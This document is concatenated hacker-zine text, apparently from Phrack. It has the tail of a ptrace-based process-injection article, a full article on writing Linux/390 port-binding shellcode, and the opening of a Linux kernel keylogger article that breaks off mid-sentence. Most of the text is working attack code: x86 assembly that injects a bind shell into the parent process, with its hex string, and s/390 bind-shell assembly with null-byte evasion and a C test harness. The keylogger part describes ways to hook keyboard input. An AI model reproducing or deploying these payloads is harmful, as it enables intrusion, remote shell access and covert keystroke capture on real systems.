and to at&t who made their own cool asm syntax. Special thanks too to the channels #fr,#ircs,#!w00nf,#segfault,#unf for their special support, and especially to double-p ,fozzy and OUAH who corrected my lame english and gave me some advices. /* INJECTOR.S VERSION 1.0 */ /* Injects a shellcode in a process using ptrace system call */ /* Tested on : linux 2.4.18 */ /* NOT SIZE-OPTIMIZED YET */ #define SHELLCODELEN 30 /* That is, size of (the injected shellcode + bindshell)/4 */ #ifndef SHORT #define LONG #endif #ifdef LONG #undef SHORT #endif .text .globl shellcode .type shellcode,@function shellcode: /* injector begins here */ mov $0xbffffe04,%esp /* first thing, we have to find our ppid */ xor %eax,%eax mov $64,%al /* sys_getppid */ int $0x80 #ifdef DEBUG_PID mov $DEBUG_PID,%ax #endif /* put it on the stack */ mov %esp,%ebp /* save the stack in stack pointer */ mov %eax,12(%ebp) /* save the pid there */ /* now we have to do a ptrace */ redo: xor %eax,%eax mov $26,%al /* sys_ptrace */ mov 12(%ebp),%ecx mov %eax,%ebx mov $0x10,%bl /* PTRACE_ATTACH */ int $0x80 /* do ptrace(PTRACE_ATTACH,getppid(),NULL,NULL); */ xor %ebx,%ebx cmp %eax,%ebx je good /* we are not leet enough, or ppid is init */ inc %ecx mov %ecx,12(%ebp) jmp redo good: /* now we have to do a waitpid(pid,NULL,NULL) */ mov %eax,%edx /* NULL */ mov %ecx,%ebx /* pid */ mov %edx,%ecx /* NULL */ mov $7,%al /* SYS_waitpid */ int $0x80 getregs: /* now get its registers */ xor %eax,%eax /* Should waitpid return 0 ? never ;) */ xor %ebx,%ebx mov %ebp,%esi add $16,%esi /* 16 up of the stack pointer */ mov $12,%bl /* %ebx is zero, PTRACE_GETREGS */ mov 12(%ebp),%ecx /* pid */ mov $26,%al /* %eax is zero. */ /* %edx doesn't contain anything since PTRACE_GETREGS doesn't use addr */ int $0x80 /* so now we have registers in 16(%ebp) */ /* two interresting : %eip and %esp */ /* %eip : (16+48)(%ebp) */ /* %esp : (16+60)(%ebp) */ /* rq : 12(%ebx) contains ppid */ /* 8(%ebx) will contain the eip */ custom_push: sub $4,76(%ebp) /* dec the esp */ mov 76(%ebp),%edi /* put it in our temp eip */ sub $1036,%di mov %edi,8(%ebp) /* that's the address where we */ /* shall start to install our code */ /* we need to push the eip at top of the stack */ mov $26,%al mov $4,%bl /* PTRACE_POKETEXT*/ mov 12(%ebp),%ecx /*ppid */ mov 76(%ebp),%edx /* esp we have decremented */ mov 64(%ebp),%esi /* old eip */ int $0x80 /* what a work for push %eip */ mov %edi ,64(%ebp) /* eip = our code nah, %edi == 8(%ebp) */ /* now put our cool registers set */ setregs: xor %eax,%eax xor %ebx,%ebx mov $26,%al mov $13,%bl /* PTRACE_SETREGS*/ /* ppid always set so %ecx */ /* %edx ignored */ mov %ebp,%esi add $16,%esi int $0x80 /* registers have been updated. now inject the shellcode */ /* %edi : location in memory where we put the shellcode */ jmp start goback: /* push on the stack the address of the shellcode to inject */ mov %edi,%edx /* addr */ dec %edx dec %edx /* returning from syscall, eip goes 2 before current eip */ /* with this trick, it goes on 2 nops */ pop %edi /* data */ xor %eax,%eax mov $SHELLCODELEN,%al mov %eax,%esp mov $4,%bl loop: mov $26,%al mov 12(%ebp),%ecx mov (%edi),%esi int $0x80 dec %esp add $4,%edx /* target shellcode */ add $4,%edi /* local shellcode, source */ cmp %esp,%eax /* Len > 0 ? */ jne loop detach: mov $26,%al xor %ebx,%ebx mov $0x11,%bl /* PTRACE_DETACH */ mov 12(%ebp),%ecx /* pid */ //xor %edx,%edx //xor %esi,%esi int $0x80 /* Now we can exit */ failed: #ifdef LONG xor %eax,%eax /* exit silently */ mov %eax,%ebx mov $1,%al /* sys_exit */ int $0x80 /* die in peace, poor child */ #endif #ifndef LONG ret #endif start: call goback /* all that part has to be done into the injected process */ /* in other word, this is the injected shellcode */ // ret location has been pushed previously nop nop pusha // save before anything by saving registers xor %eax,%eax mov $0x02,%al //sys_fork int $0x80 //fork() xor %ebx,%ebx cmp %eax,%ebx // father or son ? je son // I'm son //here, I'm the father, I've to restore my previous state father: popa ret /* code finished for the father */ son: /* standard shellcode, at your choice */ /* Bind shellcode */ lnx_bind: xor %eax,%eax cdq /* %edx= 0 */ push %edx /* IPPROTO_TCP */ inc %edx /* SOCK_STREAM */ mov %edx,%ebx /* socket() */ push %edx inc %edx /* AF_INET */ push %edx mov %esp,%ecx mov $102,%al int $0x80 mov %eax,%edi /* Save the socket in %edi */ cdq /* %edx= sign of %eax = 0 */ inc %ebx /* bind */ /* was 1, become 2 */ push %edx /* 0.0.0.0 addr */ /*change \/ here */ push $0x4141ff02 /* here, change the 0x4141 for the port */ /* /\ */ mov %esp,%esi /* save the address of sockaddr in %esi */ push $16 /* Size of this shit */ //$16 push %esi /* struct sockaddr * */ push %edi /* socket number */ mov %esp,%ecx /* bind() */ mov $102,%al int $0x80 /* Erf, I use the previous data on the stack, they are even good enough */ inc %ebx /*3...*/ inc %ebx /*4 */ mov $102,%al int $0x80 /* Listen(fd,somehug) (somehuge always > 0 so it's good) */ push %esp /* Len */ push %esi /* sockaddr* */ push %edi /* socket */ inc %ebx /* 5 */ mov %esp,%ecx mov $102,%al int $0x80 /* accept */ xchg %eax,%ebx /* Save our precious file descriptor */ pop %ecx /* take the value of %edi, that's usualy %ebx-1 */ duploop: mov $63,%al /* dup2 */ int $0x80 dec %ecx cmp %ecx,%edx jle duploop //jnl loop /* For each file descriptor before %ebx, dup2() it */ /* Std lnx_bin_sh_1 shellcode */ push %edx push $0x68732f6e push $0x69622f2f mov %esp,%ebx push %edx push %ebx mov %esp,%ecx mov $11, %al int $0x80 .string "" // compiled with -DLONG // binds to port 16705 char injector_lnx[]= "\xbc\x04\xfe\xff\xbf\x31\xc0\xb0\x40\xcd" "\x80\x89\xe5\x89\x45\x0c\x31\xc0\xb0\x1a" "\x8b\x4d\x0c\x89\xc3\xb3\x10\xcd\x80\x31" "\xdb\x39\xc3\x74\x06\x41\x89\x4d\x0c\xeb" "\xe7\x89\xc2\x89\xcb\x89\xd1\xb0\x07\xcd" "\x80\x31\xc0\x31\xdb\x89\xee\x83\xc6\x10" "\xb3\x0c\x8b\x4d\x0c\xb0\x1a\xcd\x80\x83" "\x6d\x4c\x04\x8b\x7d\x4c\x66\x81\xef\x0c" "\x04\x89\x7d\x08\xb0\x1a\xb3\x04\x8b\x4d" "\x0c\x8b\x55\x4c\x8b\x75\x40\xcd\x80\x89" "\x7d\x40\x31\xc0\x31\xdb\xb0\x1a\xb3\x0d" "\x89\xee\x83\xc6\x10\xcd\x80\xeb\x34\x89" "\xfa\x4a\x4a\x5f\x31\xc0\xb0\x1e\x89\xc4" "\xb3\x04\xb0\x1a\x8b\x4d\x0c\x8b\x37\xcd" "\x80\x4c\x83\xc2\x04\x83\xc7\x04\x39\xe0" "\x75\xec\xb0\x1a\x31\xdb\xb3\x11\x8b\x4d" "\x0c\xcd\x80\x31\xc0\x89\xc3\xb0\x01\xcd" "\x80\xe8\xc7\xff\xff\xff\x90\x90\x60\x31" "\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xc3\x74" "\x02\x61\xc3\x31\xc0\x99\x52\x42\x89\xd3" "\x52\x42\x52\x89\xe1\xb0\x66\xcd\x80\x89" "\xc7\x99\x43\x52\x68\x02\xff\x41\x41\x89" "\xe6\x6a\x10\x56\x57\x89\xe1\xb0\x66\xcd" "\x80\x43\x43\xb0\x66\xcd\x80\x54\x56\x57" "\x43\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0" "\x3f\xcd\x80\x49\x39\xca\x7e\xf7\x52\x68" "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89" "\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" ; /*size :279 */ ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x0d of 0x12 |=----------------=[ Linux/390 shellcode development ]=------------------=| |=-----------------------------------------------------------------------=| |=-------=[ johnny cyberpunk ]=--------=| --[ Contents 1 - Introduction 2 - History and facts 2.1 - Registers 2.2 - Instruction set 2.3 - Syscalls 2.4 - The native code 2.5 - Avoiding the evil 0x00 and 0x0a 2.6 - The final code 3 - References --[ 1 - Introduction Since Linux/390 has been released by IBM more and more b0xes of this type can be found in the wild. A good reason for a hacker to get a closer look on how vulnerable services can be exploited on a mainframe. Remember, who are the owners of mainframes ? Yeah, big computer centres, insurances or goverments. Well, in this article I'll uncover how to write the bad code (aka shellcode). The bind-shellcode at the end should be taken as an example. Other shellcode and exploit against some known vulnerabilities can be found on a seperate link (see References) in the next few weeks. Suggestions, improvements or flames can be send directly to the email address posted in the header of this article. My gpg-key can be found at the document bottom. --[ 2 - History and facts In late 1998 a small team of IBM developers from Boeblingen/Germany started to port Linux to mainframes. One year later in December 1999 the first version has been published for the IBM s/390. There are two versions available: A 32 bit version, referred to as Linux on s/390 and a 64 bit version, referred to as Linux on zSeries. Supported distros are Suse, Redhat and TurboLinux. Linux for s/390 is based on the kernel 2.2, the zSeries is based on kernel 2.4. There are different ways to run Linux: Native - Linux runs on the entire machine, with no other OS LPAR - Logical PARtition): The hardware can be logically partitioned, for example, one LPAR hosts a VM/VSE environment and another LPAR hosts Linux. VM/ESA Guest - means that a customer can also run Linux in a virtual machine The binaries are in ELF format (big endianess). ----[ 2.1 - Registers For our shellcode development we really don't need the whole bunch of registers the s/390 or zSeries has. The most interesting for us are the registers %r0-%r15. Anyway I'll list some others here for to get an overview. General propose registers : %r0-%r15 or gpr0-gpr15 are used for addressing and arithmetic Control registers : cr0-cr15 are only used by kernel for irq control, memory management, debugging control ... Access registers : ar0-ar15 are normally not used by programs, but good for temporary storage Floating point registers : fp0-fp15 are IEEE and HFP floating ( Linux only uses IEEE ) PSW ( Programm Status Word ) : is the most important register and serves the roles of a program counter, memory space designator and condition code register. For those who wanna know more about this register, should take a closer look on the references at the bottom. ----[ 2.2 - Instruction set Next I'll show you some useful instructions we will need, while developing our shellcode. Instruction Example --------------------------------------------------------------------------- basr (branch and save) %r1,0 # save value 0 to %r1 lhi (load h/word immediate) lhi %r4,2 # load value 2 into %r4 la (load address) la %r3,120(%r15) # load address from # %r15+120 into %r3 lr (load register) lr %r4,%r9 # load value from %r9 # into %r4 stc (store character) stc %r6,120(%r15) # store 1 character from # %r6 to %r15+120 sth (store halfword) sth %r3,122(%r15) # store 2 bytes from # %r3 to %r15+122 ar (add) ar %r6,%r10 # add value in %r10 ->%r6 xr (exclusive or) xr %r2,%r2 # 0x00 trick :) svc (service call) svc 1 # exit ----[ 2.3 - Syscalls On Linux for s/390 or zSeries syscalls are done by using the instruction SVC with it's opcode 0x0a ! This is no good message for shellcoders, coz 0x0a is a special character in a lot of services. But before i start explaining how we can avoid using this call let's have a look on how our OS is using the syscalls. The first four parameters of a syscall are delivered to the registers %r2-%r5 and the resultcode can be found in %r2 after the SVC call. Example of an execve call: basr %r1,0 base: la %r2,exec-base(%r1) la %r3,arg-base(%r1) la %r4,tonull-base(%r1) svc 11 exec: .string "/bin//sh" arg: .long exec tonull: .long 0x0 A special case is the SVC call 102 (SYS_SOCKET). First we have to feed the register %r2 with the desired function ( socket, bind, listen, accept, ....) and %r3 points to a list of parameters this function needs. Every parameter in this list has its own u_long value. And again an example of a socket() call : lhi %r2,2 # domain lhi %r3,1 # type xr %r4,%r4 # protocol stm %r2,%r4,128(%r15) # store %r2 - %r4 lhi %r2,1 # function socket() la %r3,128(%r15) # pointer to the API values svc 102 # SOCKETCALL lr %r7,%r2 # save filedescriptor to %r7 ----[ 2.4 - The native code So now, here is a sample of a complete portbindshell in native style : .globl _start _start: basr %r1,0 # our base-address base: lhi %r2,2 # AF_INET sth %r2,120(%r15) lhi %r3,31337 # port sth %r3,122(%r15) xr %r4,%r4 # INADDR_ANY st %r4,124(%r15) # 120-127 is struct sockaddr * lhi %r3,1 # SOCK_STREAM stm %r2,%r4,128(%r15) # store %r2-%r4, our API values lhi %r2,1 # SOCKET_socket la %r3,128(%r15) # pointer to the API values svc 102 # SOCKETCALL lr %r7,%r2 # save socket fd to %r7 la %r3,120(%r15) # pointer to struct sockaddr * lhi %r9,16 # save value 16 to %r9 lr %r4,%r9 # sizeof address stm %r2,%r4,128(%r15) # store %r2-%r4, our API values lhi %r2,2 # SOCKET_bind la %r3,128(%r15) # pointer to the API values svc 102 # SOCKETCALL lr %r2,%r7 # get saved socket fd lhi %r3,1 # MAXNUMBER stm %r2,%r3,128(%r15) # store %r2-%r3, our API values lhi %r2,4 # SOCKET_listen la %r3,128(%r15) # pointer to the API values svc 102 # SOCKETCALL lr %r2,%r7 # get saved socket fd la %r3,120(%r15) # pointer to struct sockaddr * stm %r2,%r3,128(%r15) # store %r2-%r3,our API values st %r9,136(%r15) # %r9 = 16, this case: fromlen lhi %r2,5 # SOCKET_accept la %r3,128(%r15) # pointer to the API values svc 102 # SOCKETCALL xr %r3,%r3 # the following shit svc 63 # duplicates stdin, stdout ahi %r3,1 # stderr svc 63 # DUP2 ahi %r3,1 svc 63 la %r2,exec-base(%r1) # point to /bin/sh la %r3,arg-base(%r1) # points to address of /bin/sh la %r4,tonull-base(%r1) # point to envp value svc 11 # execve slr %r2,%r2 svc 1 # exit exec: .string "/bin//sh" arg: .long exec tonull: .long 0x0 ----[ 2.5 - Avoiding 0x00 and 0x0a To get a clean working shellcode we have two things to bypass. First avoiding 0x00 and second avoiding 0x0a. Here is our first case : a7 28 00 02 lhi %r2,02 And here is my solution : a7 a8 fb b4 lhi %r10,-1100 a7 28 04 4e lhi %r2,1102 1a 2a ar %r2,%r10 I statically define a value -1100 in %r10 to use it multiple times. After that i load my wanted value plus 1100 and in the next instruction the subtraction of 1102-1100 gives me the real value. Quite easy. To get around the next problem we have to use selfmodifing code: svc: .long 0x0b6607fe <---- will be svc 66, br %r14 after code modification Look at the first byte, it has the value 0x0b at the moment. The following code changes this value to 0x0a: basr %r1,0 # our base-address la %r9,svc-base(%r1) # load address of svc subroutine lhi %r6,1110 # selfmodifing lhi %r10,-1100 # code is used ar %r6,%r10 # 1110 - 1100 = \x0a opcode SVC stc %r6,svc-base(%r1) # store svc opcode Finally the modified code looks as follows : 0a 66 svc 66 07 fe br %r14 To branch to this subroutine we use the following command : basr %r14,%r9 # branch to subroutine SVC 102 The Register %r9 has the address of the subroutine and %r14 contains the address where to jump back. ----[ 2.6 - The final code Finally we made it, our shellcode is ready for a first test: .globl _start _start: basr %r1,0 # our base-address base: la %r9,svc-base(%r1) # load address of svc subroutine lhi %r6,1110 # selfmodifing lhi %r10,-1100 # code is used ar %r6,%r10 # 1110 - 1100 = \x0a opcode SVC stc %r6,svc-base(%r1) # store svc opcode lhi %r2,1102 # portbind code always uses ar %r2,%r10 # real value-1100 (here AF_INET) sth %r2,120(%r15) lhi %r3,31337 # port sth %r3,122(%r15) xr %r4,%r4 # INADDR_ANY st %r4,124(%r15) # 120-127 is struct sockaddr * lhi %r3,1101 # SOCK_STREAM ar %r3,%r10 stm %r2,%r4,128(%r15) # store %r2-%r4, our API values lhi %r2,1101 # SOCKET_socket ar %r2,%r10 la %r3,128(%r15) # pointer to the API values basr %r14,%r9 # branch to subroutine SVC 102 lr %r7,%r2 # save socket fd to %r7 la %r3,120(%r15) # pointer to struct sockaddr * lhi %r8,1116 ar %r8,%r10 # value 16 is stored in %r8 lr %r4,%r8 # size of address stm %r2,%r4,128(%r15) # store %r2-%r4, our API values lhi %r2,1102 # SOCKET_bind ar %r2,%r10 la %r3,128(%r15) # pointer to the API values basr %r14,%r9 # branch to subroutine SVC 102 lr %r2,%r7 # get saved socket fd lhi %r3,1101 # MAXNUMBER ar %r3,%r10 stm %r2,%r3,128(%r15) # store %r2-%r3, our API values lhi %r2,1104 # SOCKET_listen ar %r2,%r10 la %r3,128(%r15) # pointer to the API values basr %r14,%r9 # branch to subroutine SVC 102 lr %r2,%r7 # get saved socket fd la %r3,120(%r15) # pointer to struct sockaddr * stm %r2,%r3,128(%r15) # store %r2-%r3, our API values st %r8,136(%r15) # %r8 = 16, in this case fromlen lhi %r2,1105 # SOCKET_accept ar %r2,%r10 la %r3,128(%r15) # pointer to the API values basr %r14,%r9 # branch to subroutine SVC 102 lhi %r6,1163 # initiate SVC 63 = DUP2 ar %r6,%r10 stc %r6,svc+1-base(%r1) # modify subroutine to SVC 63 lhi %r3,1102 # the following shit ar %r3,%r10 # duplicates basr %r14,%r9 # stdin, stdout ahi %r3,-1 # stderr basr %r14,%r9 # SVC 63 = DUP2 ahi %r3,-1 basr %r14,%r9 lhi %r6,1111 # initiate SVC 11 = execve ar %r6,%r10 stc %r6,svc+1-base(%r1) # modify subroutine to SVC 11 la %r2,exec-base(%r1) # point to /bin/sh st %r2,exec+8-base(%r1) # save address to /bin/sh la %r3,exec+8-base(%r1) # points to address of /bin/sh xr %r4,%r4 # 0x00 is envp stc %r4,exec+7-base(%r1) # fix last byte /bin/sh\\ to 0x00 st %r4,exec+12-base(%r1) # store 0x00 value for envp la %r4,exec+12-base(%r1) # point to envp value basr %r14,%r9 # branch to subroutine SVC 11 svc: .long 0x0b6607fe # our subroutine SVC n + br %r14 exec: .string "/bin/sh\\" In a C-code environment it looks like this : char shellcode[]= "\x0d\x10" /* basr %r1,%r0 */ "\x41\x90\x10\xd4" /* la %r9,212(%r1) */ "\xa7\x68\x04\x56" /* lhi %r6,1110 */ "\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\xd4" /* stc %r6,212(%r1) */ "\xa7\x28\x04\x4e" /* lhi %r2,1102 */ "\x1a\x2a" /* ar %r2,%r10 */ "\x40\x20\xf0\x78" /* sth %r2,120(%r15) */ "\xa7\x38\x7a\x69" /* lhi %r3,31337 */ "\x40\x30\xf0\x7a" /* sth %r3,122(%r15) */ "\x17\x44" /* xr %r4,%r4 */ "\x50\x40\xf0\x7c" /* st %r4,124(%r15) */ "\xa7\x38\x04\x4d" /* lhi %r3,1101 */ "\x1a\x3a" /* ar %r3,%r10 */ "\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */ "\xa7\x28\x04\x4d" /* lhi %r2,1101 */ "\x1a\x2a" /* ar %r2,%r10 */ "\x41\x30\xf0\x80" /* la %r3,128(%r15) */ "\x0d\xe9" /* basr %r14,%r9 */ "\x18\x72" /* lr %r7,%r2 */ "\x41\x30\xf0\x78" /* la %r3,120(%r15) */ "\xa7\x88\x04\x5c" /* lhi %r8,1116 */ "\x1a\x8a" /* ar %r8,%r10 */ "\x18\x48" /* lr %r4,%r8 */ "\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */ "\xa7\x28\x04\x4e" /* lhi %r2,1102 */ "\x1a\x2a" /* ar %r2,%r10 */ "\x41\x30\xf0\x80" /* la %r3,128(%r15) */ "\x0d\xe9" /* basr %r14,%r9 */ "\x18\x27" /* lr %r2,%r7 */ "\xa7\x38\x04\x4d" /* lhi %r3,1101 */ "\x1a\x3a" /* ar %r3,%r10 */ "\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */ "\xa7\x28\x04\x50" /* lhi %r2,1104 */ "\x1a\x2a" /* ar %r2,%r10 */ "\x41\x30\xf0\x80" /* la %r3,128(%r15) */ "\x0d\xe9" /* basr %r14,%r9 */ "\x18\x27" /* lr %r2,%r7 */ "\x41\x30\xf0\x78" /* la %r3,120(%r15) */ "\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */ "\x50\x80\xf0\x88" /* st %r8,136(%r15) */ "\xa7\x28\x04\x51" /* lhi %r2,1105 */ "\x1a\x2a" /* ar %r2,%r10 */ "\x41\x30\xf0\x80" /* la %r3,128(%r15) */ "\x0d\xe9" /* basr %r14,%r9 */ "\xa7\x68\x04\x8b" /* lhi %r6,1163 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\xd5" /* stc %r6,213(%r1) */ "\xa7\x38\x04\x4e" /* lhi %r3,1102 */ "\x1a\x3a" /* ar %r3,%r10 */ "\x0d\xe9" /* basr %r14,%r9 */ "\xa7\x3a\xff\xff" /* ahi %r3,-1 */ "\x0d\xe9" /* basr %r14,%r9 */ "\xa7\x3a\xff\xff" /* ahi %r3,-1 */ "\x0d\xe9" /* basr %r14,%r9 */ "\xa7\x68\x04\x57" /* lhi %r6,1111 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\xd5" /* stc %r6,213(%r1) */ "\x41\x20\x10\xd8" /* la %r2,216(%r1) */ "\x50\x20\x10\xe0" /* st %r2,224(%r1) */ "\x41\x30\x10\xe0" /* la %r3,224(%r1) */ "\x17\x44" /* xr %r4,%r4 */ "\x42\x40\x10\xdf" /* stc %r4,223(%r1) */ "\x50\x40\x10\xe4" /* st %r4,228(%r1) */ "\x41\x40\x10\xe4" /* la %r4,228(%r1) */ "\x0d\xe9" /* basr %r14,%r9 */ "\x0b\x66" /* svc 102 <--- after modification */ "\x07\xfe" /* br %r14 */ "\x2f\x62\x69\x6e" /* /bin */ "\x2f\x73\x68\x5c"; /* /sh\ */ main() { void (*z)()=(void*)shellcode; z(); } --[ 3 - References: [1] z/Architecture Principles of Operation (SA22-7832-00) http://publibz.boulder.ibm.com/epubs/pdf/dz9zr000.pdf [2] Linux for S/390 ( SG24-4987-00 ) http://www.redbooks.ibm.com/pubs/pdfs/redbooks/sg244987.pdf [3] LINUX for S/390 ELF Application Binary Interface Supplement http://oss.software.ibm.com/linux390/docu/l390abi0.pdf [4] Example exploits http://www.thehackerschoice.com/misc/sploits/ -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Weitere Infos: siehe http://www.gnupg.org mQGiBDzw5yMRBACGJ1o25Bfbb6mBkP2+qwd0eCTvCmC5uJGdXWOW8BbQwDHkoO4h sdouA+0JdlTFIQriCZhZWbspNsWEpXPOAW8vG3fSqIUqiDe6Aj21h+BnW0WEqx9t 8TkooEVS3SL34wiDCig3cQtmvAIj0C9g4pj5B/QwHJYrWNFoAxc2SW1lXwCg8Wk9 LawvHW+Xqnc6n/w5Oo8IpNsD/2Lp4fvQFiTvN22Jd63nCQ75A64fB7mH7ZUsVPYy BctYXM4GhcHx7zfOhAbJQNWoNmYGiftVr9UvO9GSnG+Y9jq6I16qOn7T7dIZUEpL F5FevEFTyrtDGYmBhGv9hwtbz3CI9n9gpZxz1xYTbDHxkVIiTMlcNR3GIJRPfo5B a7u4A/9ncKqRx2HbRkaj39zugC6Y28z9lSimGzu7PTVw3bxDbObgi4CyHcjnHe+j DResuKGgdyEf+d07ofbFEOdQjgaDx1mmswS4pcILKOyRdQMtdbgSdyPlJw5KGHLX G0hrHV/Uhgok3W6nC43ZvPWbd3HVfOIU8jDTRgWaRDjGc45dtbQkam9obm55IGN5 YmVycHVuayA8am9obmN5YnBrQGdteC5uZXQ+iFcEExECABcFAjzw5yMFCwcKAwQD FQMCAxYCAQIXgAAKCRD3c5EGutq/jMW7AJ9OSmrB+0vMgPfVOT4edV7C++RNHwCf byT/qKeSawxasF8g4HeX33fSPe25Ag0EPPDnrRAIALdcTn8E2Z8Z4Ua4p8fjwXNO iP6GOANUN5XLpmscv9v5ErPfK+NM2ARb7O7rQJfLkmKV8voPNj4lPUUyltGeOhzj t86I5p68RRSvO5JKTW+riZamaD8lB84YqLzmt9OuzuOeAJCq3GuQtPMyrNuOkPL9 nX51EgnLnYaUYAkysAhYLhlrye/3maNdjtn2T63MoJauAoB4TpKvegsGsf1pA5mj y9fuG6zGnWt8XpVSdD2W3PUJB+Q7J3On35byebIKiuGsti6Y5L0ZSDlW2rveZp9g eRSQz06j+mxAooTUMBBJwMmXjHm5nTgr5OX/8mpb+I73MGhtssRr+JW+EWSLQN8A AwcH/iqRCMmPB/yiMhFrEPUMNBsZOJ+VK3PnUNLbAPtHz7E2ZmEpTgdvLR3tjHTC vZO6k40H1BkodmdFkCHEwzhWwe8P3a+wgW2LnPCM6tfPEfp9kPXD43UlTLWLL4RF cPmyrs45B2uht7aE3Pe0SgbsnWAej87Stwb+ezOmngmrRvZKnYREVR1RHRRsH3l6 C4rexD3uHjFNdEXieW97xHG71YpOVDX6slCK2SumfxzQAEZC2n7/DqwPd6Z/abAf Ay9WmTpqBFd2FApUtZ1h8cpS6MYb6A5R2BDJQl1hN2pQFNzIh8chjVdQc67dKiay R/g0Epg0thiVAecaloCJlJE8b3OIRgQYEQIABgUCPPDnrQAKCRD3c5EGutq/jNuP AJ979IDls926vsxlhRA5Y8G0hLyDAwCgo8eWQWI7Y+QVfwBG8XCzei4oAiI= =2B7h -----END PGP PUBLIC KEY BLOCK----- |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x0e of 0x12 |=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=| |=-----------------------------------------------------------------------=| |=------------------=[ rd ]=-------------------=| |=------------------------=[ June 19th, 2002 ]=--------------------------=| --[ Contents 1 - Introduction 2 - How Linux keyboard driver work 3 - Kernel based keylogger approaches 3.1 - Interrupt handler 3.2 - Function hijacking 3.2.1 - handle_scancode 3.2.2 - put_queue 3.2.3 - receive_buf 3.2.4 - tty_read 3.2.5 - sys_read/sys_write 4 - vlogger 4.1 - The syscall/tty approach 4.2 - Features 4.3 - How to use 5 - Greets 6 - References 7 - Keylogger source --[ 1 - Introduction This article is divided into two parts. The first part of the paper gives an overview on how the linux keyboard driver work, and discusses methods that can be used to create a kernel based keylogger. This part will be useful for those who want to write a kernel based keylogger, or to write their own keyboard driver (for supporting input of non-supported language in linux environment, ...) or to program taking advantage of many features in the Linux keyboard driver. The second part presents detail of vlogger, a smart kernel based linux keylogger, and how to use it. Keylogger is a very interesting code being used widely in honeypots, hacked systems, ... by white and black hats. As most of us known, besides user space keyloggers (such as iob, uberkey, unixkeylogger, ...), there are some kernel based keyloggers. The earliest kernel based keylogger is linspy of halflife which was published in Phrack 50 (see [4]). And the recent kkeylogger is presented in 'Kernel Based Keylogger' paper by mercenary (see [7]) that I found when was writing this paper. The common method of those kernel based keyloggers using is to log user keystrokes by intercepting sys_read or sys_write system call. However, this approach is quite unstable and slowing down the whole system noticeably because sys_read (or sys_write) is the generic read/write function of the system; sys_read is called whenever a process wants to read something from devices (such as keyboard, file, serial port, ...). In vlogger, I used a better way to implement it that hijacks the tty buffer processing function. The reader is supposed to possess the knowledge on Linux Loadable Kernel Module. Articles [1] and [2] are recommended to read before further reading. --[ 2 - How Linux keyboard driver work Lets take a look at below figure to know how user inputs from console keyboard are processed: _____________ _________ _________ / \ put_queue| |receive_buf| |tty_read /handle_scancode\-------->|tty_queue|---------->|tty_ldisc|-------> \ / | | |buffer | \_____________/ |_________| |_________| _________ ____________ | |sys_read| | --->|/dev/ttyX|------->|user process| | | | | |_________| |____________| Figure 1 First, when you press a key on the keyboard, the keyboard will send corresponding scancodes to keyboard driver. A single key press can produce a sequence of up to six scancodes. The handle_scancode() function in the keyboard driver parses the stream of scancodes and converts it into a series of key press and key release events called keycode by using a translation-table via kbd_translate() function. Each key is provided with a unique keycode k in the range 1-127. Pressing key k produces keycode k, while releasing it produces keycode k+128. For example, keycode of 'a' is 30. Pressing key 'a' produces keycode 30. Releasing 'a' produces keycode 158 (128+30). Next, keycodes are converted to key symbols by looking them up on the appropriate keymap. This is a quite complex process. There are eight possible modifiers (shift keys - Shift , AltGr, Control, Alt, ShiftL, ShiftR, CtrlL and CtrlR), and the combination of currently active modifiers and locks determines the keymap used. After the above handling, the obtained characters are put into the raw tty queue - tty_flip_buffer. In the tty line discipline, receive_buf() function is called periodically to get characters from tty_flip_buffer then put them into tty read queue. When user process want to get user input, it calls read() function on stdin of the process. sys_read() function will calls read() function defined in file_operations structure (which is pointed to tty_read) of corresponding tty (ex /dev/tty0) to read input characters and return to the process. The keyboard driver can be in one of 4 modes: - scancode (RAW MODE): the application gets scancodes for input. It is used by applications that implement their own keyboard driver (ex: X11) - keycode (MEDIUMRAW MODE): the application gets information on which keys (identified by their keycodes) get pressed and released. - ASCII (XLATE MODE): the application effectively gets the characters as defined by the keymap, using an 8-bit encoding. - Unicode (UNICODE MODE): this mode only differs from the ASCII mode by allowing the user to compose UTF8 unicode characters by their decimal value, using Ascii_0 to Ascii_9, or their hexadecimal (4-digit) value, using Hex_0 to Hex_9. A keymap can be set up to produce UTF8 sequences (with a U+XXXX pseudo-symbol, where each X is an hexadecimal digit). Those modes influence what type of data that applications will get as keyboard input. For more details on scancode, keycode and keymaps, please read [3]. --[ 3 - Kernel based keylogger approaches We can implement a kernel based keylogger in two ways by writing our own keyboard interrupt handler or hijacking one of input processing functions. ----[ 3.1 - Interrupt handler To log keystrokes, we will use our own keyboard interrupt handler. Under Intel architectures, the IRQ of the keyboard controlled is IRQ 1. When receives a keyboard interrupt, our own keyboard interrupt handler read the scancode and keyboard status. Keyboard events can be read and written via port 0x60(Keyboard data register) and 0x64(Keyboard status register). /* below code is intel specific */ #define KEYBOARD_IRQ 1 #define KBD_STATUS_REG 0x64 #define KBD_CNTL_REG 0x64 #define KBD_DATA_REG 0x60 #define kbd_read_input() inb(KBD_DATA_REG) #define kbd_read_status() inb(KBD_STATUS_REG) #define kbd_write_output(val) outb(val, KBD_DATA_REG) #define kbd_write_command(val) outb(val, KBD_CNTL_REG) /* register our own IRQ handler */ request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL); In my_keyboard_irq_handler(): scancode = kbd_read_input(); key_status = kbd_read_status(); log_scancode(scancode); This method is platform dependent. So it won't be portable among platforms. And you have to be very careful with your interrupt handler if you don't want to crash your box ;) ----[ 3.2 - Function hijacking Based on the Figure 1, we can implement our keylogger to log user inputs by hijacking one of handle_scancode(), put_queue(), receive_buf(), tty_read() 